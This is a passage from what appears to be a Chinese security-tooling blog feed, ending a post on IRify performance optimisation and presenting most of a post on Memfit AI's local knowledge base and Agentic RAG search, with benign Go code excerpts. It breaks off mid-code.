<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="运行效率对比-4">运行效率对比<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E8%BF%90%E8%A1%8C%E6%95%88%E7%8E%87%E5%AF%B9%E6%AF%94-4" class="hash-link" aria-label="运行效率对比的直接链接" title="运行效率对比的直接链接" translate="no">​</a></h3>
<p>这一节没有直接对应的“代码运行时间”对比表。</p>
<p>但它确实改变了这轮优化的产出方式：</p>
<ul>
<li class="">常量池优化能做多轮基线比对</li>
<li class="">ANTLR reset 能做整轮 sweep 和复跑</li>
<li class="">PHP mixed HTML 能把 benchmark、pprof、规则验证一起串起来</li>
</ul>
<p>放在这一轮里，这件事最适合用一句话来概括：</p>
<p><em>这一轮优化让 AI 辅助真正融入了性能调优的工作流。</em></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="总结">总结<a href="https://yaklang.com/blog/irify-full-path-performance-refactor-round2#%E6%80%BB%E7%BB%93" class="hash-link" aria-label="总结的直接链接" title="总结的直接链接" translate="no">​</a></h2>
<p>如果把这轮 IRify 性能优化 2.0 压成一句话，那就是：</p>
<p><em>这一轮不是只做了“更快”，而是把几条最关键的路径真正做成了“更快、更稳、更可继续优化”。</em></p>
<p>这一轮最值得记住的五件事是：</p>
<p><code>1、SSA</code> 编译和相关文档更统一了，<code>ssa.to/docs</code> 也跟着补齐了。</p>
<p><code>2、SSA</code> 指令搜索开始从字符串路径走向常量池 / <code>id</code> 路径，真正把大项目里的重复搜索问题打下来。</p>
<p><code>3、SyntaxFlow / SFVM</code> 的判断语句运行逻辑被重构了一轮，大量值场景下过去会拖很久的旧判断路径，已经被收住了。</p>
<p><code>4、ANTLR</code> 这一侧，缓存清理已经不是经验值，而是做过 sweep 的“甜品点”选择；PHP mixed HTML 更是拿到了非常扎实的前后对比数据。</p>
<p>5、AI agent 已经开始明显降低这类开发和实验的成本。</p>
<p>如果说第一轮做的是“把路打通”，第二轮做的就是：</p>
<ul>
<li class="">把最重的热点打下来</li>
<li class="">把最糟糕的长尾收掉</li>
<li class="">把最关键的默认参数选稳</li>
</ul>
<p>而接下来的第三轮、第四轮，方向其实也已经很清楚了：</p>
<ul>
<li class="">编译期内存继续压</li>
<li class="">存储与落库继续压</li>
<li class="">lazy build 路径继续推进</li>
<li class="">数据流分析继续细化</li>
</ul>
<p>也就是说，这一轮不是终点，而是一个很明确的中继站。</p>
<p>从这里开始，IRify 已经不再只是“能跑”，而是开始真正进入“能持续变快”的阶段。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/6X_UBqnP8c5TCT7cHCmbSg" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
        </item>
        <item>
            <title><![CDATA[技术研究：Memfit AI 内置知识库系统与 Agentic RAG 实现]]></title>
            <link>https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag</link>
            <guid>https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag</guid>
            <pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文展示 Memfit AI 如何构建、查询和可视化内置知识库，并通过多策略检索、AI 重排、精炼与 Agentic 迭代让 Agent 在执行任务前主动查阅资料。]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="当ai-agent碰到它不知道的东西">当AI Agent碰到它不知道的东西<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%BD%93ai-agent%E7%A2%B0%E5%88%B0%E5%AE%83%E4%B8%8D%E7%9F%A5%E9%81%93%E7%9A%84%E4%B8%9C%E8%A5%BF" class="hash-link" aria-label="当AI Agent碰到它不知道的东西的直接链接" title="当AI Agent碰到它不知道的东西的直接链接" translate="no">​</a></h2>
<p>我们在上一篇文章：<a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529509&amp;idx=1&amp;sn=ba1eafb94cb0677b719a1c1491bb5529&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" class="">Memfit AI: 连续渗透测试N小时不迷路的生产级AI Agent</a> 中聊了 Memfit AI 如何像一个真人渗透测试工程师一样自主工作——规划任务、执行攻击、动态调整策略。跑了两个多小时，产出了 18 个漏洞发现和一份完整的渗透测试报告。</p>
<p>但是有一个问题，我们当时回避了。</p>
<p>如果 AI Agent 在执行过程中遇到一份它从未"见过"的企业内部安全规范，比如 GB/T 34944-2017《Java 语言源代码漏洞测试规范》，它该怎么办？这份国标文档定义了 Java 安全审计中需要关注的漏洞类型、测试方法和判定标准。大模型的训练数据里未必包含这些细节，即便包含，版本和准确性也无从保证。</p>
<p>这个场景在实际工作中非常常见。安全团队有自己的 checklist、企业有私有的合规要求、甲方的安全基线文档一般都不会公开发表。AI Agent 如果只能依赖大模型自身的"记忆"，那它对这些私有知识的处理能力就是零——甚至更糟，它可能会"幻觉式"地编造一些看起来合理但完全错误的回答。</p>
<p>那么如何解决这个问题？市面上的常见方案是外挂一个 RAG 系统或者通过 MCP 协议接入外部知识库服务。这当然可以工作，但存在一个根本性的割裂：知识库是知识库，Agent 是 Agent，两者通过一个管道传数据，Agent 对知识的使用方式非常被动——问一次，拿一次，拿到什么用什么。</p>
<p>Memfit AI 的知识库系统走了一条不同的路。我们把知识库做成了 Agent 的"内置器官"，整个系统完全本地化运行，Agent 可以在任务执行过程中<strong>自主地、多轮地</strong>查询和探索知识库。这意味着 Agent 拿到第一轮搜索结果后，会根据结果判断信息是否充分，如果不够，它会调整查询策略再搜一轮——最多迭代 3 到 5 轮，直到凑齐足够的信息来做决策。</p>
<p>笔者认为这是 Memfit 知识库最值得关注的设计。知识库和 Agent 的关系应该是"知行合一"的——知识库负责记住海量的私有数据、来不及训练或者无法训练进模型的专业内容；Agent 则根据这些知识做出判断和行动。两者熔在一个系统里，才能真正发挥价值。</p>
<p>在本文中，我们将会为大家完整地介绍 Memfit 知识库系统：</p>
<p>01 如何创建和使用知识库</p>
<p>02 两种知识构建模式的差异与选择</p>
<p>03 查询验证与 Agentic RAG 的实际效果</p>
<p>04 Agent 在生产任务中如何调用知识库</p>
<p>05 底层的技术实现——从索引构建到多轮搜索的完整链路</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="进入知识库">进入知识库<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E8%BF%9B%E5%85%A5%E7%9F%A5%E8%AF%86%E5%BA%93" class="hash-link" aria-label="进入知识库的直接链接" title="进入知识库的直接链接" translate="no">​</a></h2>
<p>Memfit AI 的知识库功能集成在主界面中。打开 Memfit 后，在顶部导航栏可以看到"知识库"标签页，点击即可进入知识库管理界面。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c9a5eea5362891f2-646cf6dbcbacc186364cc6ef75685f5a.png" width="1080" height="672" class="yakdoc-image"></button></p>
<p>在这个界面的左侧，我们可以看到已有的知识库列表——包括在线知识库和本地知识库。右侧区域是 AI Agent 的对话窗口，知识库和 Agent 共享同一个工作空间。这个布局本身就暗示了两者的紧密关系。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="创建一个知识库">创建一个知识库<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%9F%A5%E8%AF%86%E5%BA%93" class="hash-link" aria-label="创建一个知识库的直接链接" title="创建一个知识库的直接链接" translate="no">​</a></h2>
<p>接下来我们实际操作一下。点击"快捷创建知识库"按钮，或者在知识库列表下方找到"新建知识库"入口。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/e21d5d426f5b8b07-898cdff379d0401a946fb149d675e958.png" width="1080" height="805" class="yakdoc-image"></button></p>
<p>系统会弹出一个参数填写窗口：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/099dacd0bce7deac-776654594ec683cb5d1ec9210c4d6857.png" width="1080" height="727" class="yakdoc-image"></button></p>
<p>我们需要填入以下几个关键参数：</p>
<p>01 <strong>知识库名称</strong>：给知识库起一个语义化的名字，方便后续在 Agent 中引用</p>
<p>02 <strong>上传文件</strong>：支持直接拖拽或选择文件路径，可以导入 PDF、文档、文本等格</p>
<p>03 <strong>构建模式</strong>：这里有两个选项——"增强知识图谱索引"和"仅构建知识索引"</p>
<p>04 <strong>Tags</strong>：可选的分类标签，用于组织和筛选</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="两种构建模式">两种构建模式<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E4%B8%A4%E7%A7%8D%E6%9E%84%E5%BB%BA%E6%A8%A1%E5%BC%8F" class="hash-link" aria-label="两种构建模式的直接链接" title="两种构建模式的直接链接" translate="no">​</a></h3>
<p>构建模式的选择直接影响知识库的存储结构和查询能力。我们用一张表来对比：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1c1c432e5460d3e8-5b749fe1bad2e1d5accb39bcce393960.png" width="1048" height="342" class="yakdoc-image"></button></p>
<p>"增强知识图谱索引"模式会对文档进行深度分析：先切片，然后通过 ERM（Entity Relationship Model）抽取实体和关系，构建知识图谱；同时还会为每个切片生成问题索引，用于向量化检索。整个过程涉及多轮 AI 调用，因此构建时间会更长，但查询质量也更高。</p>
<p>"仅构建知识索引"模式更轻量。它跳过了实体关系抽取的步骤，直接对切片内容生成查询强化索引，然后向量化入库。如果你的文档本身已经是高质量的结构化知识（比如 API 文档、技术规范），这个模式的性价比更高。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="实战导入-gbt-34944-2017">实战：导入 GB/T 34944-2017<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%AE%9E%E6%88%98%E5%AF%BC%E5%85%A5-gbt-34944-2017" class="hash-link" aria-label="实战：导入 GB/T 34944-2017的直接链接" title="实战：导入 GB/T 34944-2017的直接链接" translate="no">​</a></h3>
<p>我们用一个具体的例子来走完整个流程。这次选择导入 GB/T 34944-2017《Java 语言源代码漏洞测试规范》这份国标文档。</p>
<p>在弹窗中填入知识库名称为"我的知识库"，上传文件选择本地的 PDF 文件路径，构建模式选择"增强知识图谱索引"——因为国标文档包含大量的漏洞分类、测试方法和判定标准之间的关联关系，适合构建知识图谱。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/a730ad71a59ae696-cce1f9ffaa2f262bebd5a519b41bfb7c.png" width="713" height="599" class="yakdoc-image"></button></p>
<p>点击"确定"后，构建过程开始执行。在执行面板中可以实时看到构建进度：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/ad65207e0dc6146e-27cdfe0a94a7591035e7c80cc3236cb2.png" width="1080" height="762" class="yakdoc-image"></button></p>
<p>从日志中可以观察到几个关键阶段：</p>
<p>01 <strong>文档解析</strong>：系统识别 PDF 文件类型，解析文档内容</p>
<p>02 <strong>分片处理</strong>：将长文档切分为多个 chunk，每个 chunk 保持语义完整性</p>
<p>03 <strong>实体图谱构建</strong>：start build entity graph concurrency 表明系统开始并行地抽取实体和关系</p>
<p>04 <strong>索引入</strong>库**：抽取完成后，实体、关系和向量索引写入本地存储</p>
<p>构建完成后，我们可以在知识库界面看到结果。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="知识图谱可视化">知识图谱可视化<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1%E5%8F%AF%E8%A7%86%E5%8C%96" class="hash-link" aria-label="知识图谱可视化的直接链接" title="知识图谱可视化的直接链接" translate="no">​</a></h3>
<p>这是最直观的部分。切换到知识库的图谱视图，可以看到系统自动抽取出来的实体和关系网络：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/a3b99e758ca7f03b-80b84276e4d7da2fe2657d946ebf92d7.png" width="1080" height="623" class="yakdoc-image"></button></p>
<p>选择任意一个节点，可以查看该实体的详细属性和关联关系。这个图谱在后续的查询中会发挥重要作用——当 Agent 搜索到一个实体时，可以通过 K-hop 遍历找到与它关联的其他知识点，这就是多跳知识查询的基础。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="查询验证">查询验证<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E6%9F%A5%E8%AF%A2%E9%AA%8C%E8%AF%81" class="hash-link" aria-label="查询验证的直接链接" title="查询验证的直接链接" translate="no">​</a></h2>
<p>知识库构建好了，接下来验证一下查询效果。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="简单召回">简单召回<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E7%AE%80%E5%8D%95%E5%8F%AC%E5%9B%9E" class="hash-link" aria-label="简单召回的直接链接" title="简单召回的直接链接" translate="no">​</a></h3>
<p>在知识库界面的"AI 召回"功能区，我们可以直接测试知识库的召回能力。点击"AI 召回"标签，在搜索框中输入一个问题，比如：</p>
<blockquote>
<p>Java 中关于日志的相关安全设置应该如何操作？</p>
</blockquote>
<p><button type="button" class="yakdoc-figure" data-layout="narrow" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/ccd2ab8cdd961314-d2e3b7a5064ae378e10b3f7e2d5647a6.png" width="952" height="1031" class="yakdoc-image"></button></p>
<p>系统会将问题转化为搜索查询，在选中的知识库中检索相关内容。搜索框下方的 @ 选择器可以指定搜索范围——是搜索所有知识库，还是只搜索特定的某一个。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="agentic-rag-召回">Agentic RAG 召回<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#agentic-rag-%E5%8F%AC%E5%9B%9E" class="hash-link" aria-label="Agentic RAG 召回的直接链接" title="Agentic RAG 召回的直接链接" translate="no">​</a></h3>
<p>这才是真正有意思的部分。</p>
<p>当我们发起一次 Agentic RAG 查询时，系统会将用户的问题转化为一个 Agent 搜索任务。AI 会自主决定搜索策略，然后逐步探索知识库中的内容。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/ea9ca48e23c82d1d-8bb6d9f630d2619ea111aad1dd222b78.png" width="548" height="831" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>我们可以观察到几个关键行为：</p>
<p>01 AI 先理解用户问题的意图，将其拆分或泛化为多个子查询</p>
<p>02 调用 search_knowledge_semantic 和 search_query 等搜索函数</p>
<p>03 对每轮搜索结果进行评估，判断信息是否充分</p>
<p>04 如果需要更多细节，自动调整查询内容进行下一轮搜索</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="查询结果">查询结果<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E6%9F%A5%E8%AF%A2%E7%BB%93%E6%9E%9C" class="hash-link" aria-label="查询结果的直接链接" title="查询结果的直接链接" translate="no">​</a></h3>
<p>来看一个典型的查询结果。我们问了一个关于"Java 日志安全设置"的问题，系统返回了结构化的回答：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/a71d6c98aec88ac1-4774f0e809f772edfd1bd30eeda6929b.png" width="538" height="1273" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>这个结果有几个值得注意的地方。AI 对搜索到的多个知识片段进行了去重、合并和结构化整理，形成了"日志安全守则"这样的归纳性标题，下面按"日志访问控制"、"禁止日志记录敏感信息"等维度组织具体内容。每个要点都可以追溯到原始的知识库条目——这些内容来自 GB/T 34944 中关于日志安全的多个章节，AI 把它们关联起来了。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="从agent中直接使用知识库">从Agent中直接使用知识库<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E4%BB%8Eagent%E4%B8%AD%E7%9B%B4%E6%8E%A5%E4%BD%BF%E7%94%A8%E7%9F%A5%E8%AF%86%E5%BA%93" class="hash-link" aria-label="从Agent中直接使用知识库的直接链接" title="从Agent中直接使用知识库的直接链接" translate="no">​</a></h2>
<p>到现在为止，我们展示的还是在知识库界面中手动查询的场景。那么更核心的问题来了：Agent 执行任务的时候，如何使用知识库？</p>
<p>在 Memfit AI 的对话界面中，我们可以通过 @ 符号引用知识库。</p>
<p>Agent 在规划和执行任务的过程中，会根据当前任务的需要自主决定是否查询知识库、查询哪个知识库、用什么问题去查。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/be858ff8e5ef73cf-e0ed656917bc57b16ae4a5c5b3d1a2b8.png" width="1080" height="632" class="yakdoc-image"></button></p>
<p>举个具体的例子。我们让 Agent 回答一个综合性问题，这个问题涉及 Java 安全领域的多个方面。Agent 在执行过程中，自动触发了知识库的 Agentic 搜索。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8f6726ba3a9bb6b6-17ee4643fbb64cefe334ed91f5091a98.png" width="1080" height="871" class="yakdoc-image"></button></p>
<p>我们搜索一个综合问题，可以看到 Agentic 的两轮搜索过程。第一轮搜索拿到了部分结果，Agent 评估后认为还缺少某些维度的信息，于是调整了查询内容进行第二轮搜索。</p>
<p>这种自我调整的能力，一般的独立知识库系统做不到——它们只会被动地接收查询、返回结果。Agent 的"主动探索"才是 Agentic RAG 真正的价值所在。</p>
<p>这也是为什么我们说"知行合一"。知识库提供记忆，Agent 提供行动力，两者在同一个运行时内紧密协作。Agent 遇到不确定的问题时，会像一个经验丰富的工程师翻阅参考手册一样，反复查找、交叉验证，直到获得足够的信心来做出判断。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="memfit是如何实现这些的">Memfit是如何实现这些的？<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#memfit%E6%98%AF%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E8%BF%99%E4%BA%9B%E7%9A%84" class="hash-link" aria-label="Memfit是如何实现这些的？的直接链接" title="Memfit是如何实现这些的？的直接链接" translate="no">​</a></h2>
<p>讲完了使用体验，我们来看看底层的技术实现。这部分面向对 RAG 系统和 Agent 架构有兴趣的读者，我们会结合实际代码来分析几个关键模块。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="强化索引构建与知识图谱构建">强化索引构建与知识图谱构建<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%BC%BA%E5%8C%96%E7%B4%A2%E5%BC%95%E6%9E%84%E5%BB%BA%E4%B8%8E%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1%E6%9E%84%E5%BB%BA" class="hash-link" aria-label="强化索引构建与知识图谱构建的直接链接" title="强化索引构建与知识图谱构建的直接链接" translate="no">​</a></h3>
<p>文档从上传到可查询，需要经过一条完整的处理管线。我们用一张流程图来说明：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/a7e38d23f901ee4e-f826c17c49aa4db088f2b427d98344a9.png" width="581" height="1155" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>两种模式的差异体现在中间环节。"增强知识图谱索引"模式走完整链路：ERM 抽取 + 问题索引 + 向量化；"仅构建知识索引"模式跳过 ERM，直接从分片内容生成问题索引。</p>
<p>问题索引构建是一个值得展开说的环节。系统会调用 AI 对每个文档切片生成一组"检索问题"——这些问题模拟的是真实用户可能会搜索的内容，覆盖了操作方法、概念定义、原因分析、最佳实践、故障排查等多个维度。核心逻辑在 BuildIndexQuestions 函数中：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">funcBuildIndexQuestions</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rawInput </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> aiService aicommon</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">AICallbackType</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">map</span><span class="token punctuation" style="color:#393A34">[</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token builtin">error</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    linedInput </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> utils</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">PrefixLinesWithLineNumbers</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rawInput</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">LiteForgeQueryFromChunk</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">indexBuildPrompt</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">chunkmaker</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">NewBufferChunk</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token function" style="color:#d73a49">byte</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">linedInput</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">200</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> aicommon</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">InvokeLiteForge</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">query</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> forgeOpts</span><span class="token operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    entries</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">index2KnowledgeEntity</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Action</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rawInput</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> entries</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这个函数做了几件事：把原始文本加上行号标记，组装成带有详细指令的 prompt，调用 LiteForge（Memfit 的轻量级 AI 执行引擎）生成问题列表，最后将问题和原文中对应的答案片段映射起来。生成的每个问题都附带了精确的行号范围，指向原文中能回答这个问题的具体段落。</p>
<p>这些问题随后会被向量化，和原始文本的向量一起存入 HNSW（Hierarchical Navigable Small World）向量索引中。查询的时候，用户的问题会同时和"原始内容向量"以及"生成的问题向量"进行匹配——因为生成的问题更接近用户的搜索习惯，召回率会显著提升。</p>
<p>知识图谱的构建则通过 ERM 实体关系抽取完成。系统利用 AI 从文档中识别出实体（如漏洞类型、安全标准、测试方法等）和它们之间的关系（如"属于"、"测试方法"、"防护措施"等），构建成一张有向图。这张图存储在本地数据库中，支持 K-hop 多跳遍历查询。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="多策略搜索管线">多策略搜索管线<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%A4%9A%E7%AD%96%E7%95%A5%E6%90%9C%E7%B4%A2%E7%AE%A1%E7%BA%BF" class="hash-link" aria-label="多策略搜索管线的直接链接" title="多策略搜索管线的直接链接" translate="no">​</a></h3>
<p>一条用户查询进来之后，系统不会只做一次简单的向量搜索。实际上，Memfit 的搜索管线会<strong>并行</strong>执行多种搜索策略，然后将所有结果融合排序。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1f39c16034f0dccb-3d571d1d199ef3f34533dd80bc24f11b.png" width="800" height="375" class="yakdoc-image"></button></p>
<p>五种搜索策略各有侧重，对应代码中的 SearchHandler 接口：</p>
<p>01 <strong>基础向量搜索（Basic）</strong>：用原始查询直接做向量相似度匹配，这是最基本的语义搜索</p>
<p>02 <strong>HyDE 假设回答（Hypothetical Document Embedding）</strong>：AI 先针对用户问题生成一段"假设的理想答案"，然后用这段答案作为查询内容去搜索。因为"答案"和"文档内容"的语义空间更接近，往往能搜到直接搜问题搜不到的结果</p>
<p>03 <strong>子问题拆分（Split Query）</strong>：将复杂问题拆解为多个可独立检索的子问题，分别搜索后合并结果。比如"Java 日志安全的最佳实践和常见漏洞"会被拆成两个子问题分别搜索</p>
<p>04 <strong>概念升维（Generalize Query）</strong>：把具体问题提升到更高层的概念维度进行搜索。比如"Redis 未授权访问漏洞"会被升维为"NoSQL 数据库安全风险"的相关搜索，捕获更宏观的综述性文档</p>
<p>05 <strong>关键词提取（Exact Keyword Search）</strong>：从问题中提取核心关键词进行精确的词条匹配，弥补向量搜索在专有名词上的不足</p>
<p>我们以 HyDE 为例看一下具体实现。HypotheticalAnswer 函数的核心逻辑是让 AI 生成一段控制在 100 字以内的"理想答案摘要"：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">h </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">LiteForgeSearchHandler</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">HypotheticalAnswer</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">ctx context</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Context</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> query </span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">(</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token builtin">error</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" 